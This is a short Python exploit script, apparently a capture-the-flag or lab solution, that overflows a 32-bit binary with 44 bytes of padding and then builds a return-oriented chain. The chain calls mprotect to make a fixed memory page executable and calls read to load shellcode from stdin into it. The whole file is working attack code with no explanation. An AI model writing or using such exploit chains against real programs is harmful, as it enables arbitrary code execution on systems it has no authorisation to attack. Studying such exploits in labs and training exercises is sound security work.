#!/bin/env python
import struct
def p(x):
    return struct.pack('<L', x)
mprotect = 0x080523e0
pop3ret = 0x8048882
read = 0x080517f0
payload = ""
payload += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += p(mprotect)
payload += p(pop3ret)
payload += p(0x080ca000)    # address
payload += p(0x1000)        # size
payload += p(0x7)           # PROT_READ| PROT_WRITE| PROT_EXEC
# read shellcode from stdin
payload += p(read)
payload += p(0x080ca000)
payload += p(0x0)           # fd = STDIN
payload += p(0x080ca000)    # buf
payload += p(0x100)         # nbyte

print payload
